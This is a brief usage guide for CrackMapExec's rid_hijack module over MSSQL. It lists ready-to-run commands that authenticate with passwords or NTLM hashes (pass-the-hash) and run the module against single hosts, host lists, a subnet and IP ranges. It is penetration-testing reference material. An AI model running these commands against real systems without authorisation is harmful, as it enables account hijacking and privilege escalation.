Module Usage

This is how to use the rid_hijack module while using the mssql protocol:

Syntax:
# cme mssql <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M rid_hijack

Admin user:
# cme mssql 10.0.5.1 -u sa -p P@ss123 -d . -M rid_hijack
# cme mssql 10.0.5.1 -u sa -p P@ss123 --local-auth -M rid_hijack

Normal user:
# cme mssql 10.0.5.1 -u dbuser -p P@ss123 -d target.corp -M rid_hijack

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme mssql 10.0.5.1 -u sa -H 432b022dc22aa5afe884e986b8383ff2 -d . -M rid_hijack
# cme mssql 10.0.5.1 -u dbuser -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M rid_hijack
The rid_hijack module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme mssql target_list.txt -u sa -p P@ss123 -d . -M rid_hijack
# cme mssql 10.0.5.0/24 -u sa -p P@ss123 -d . -M rid_hijack
# cme mssql 10.0.5.1-100 -u sa -p P@ss123 -d . -M rid_hijack
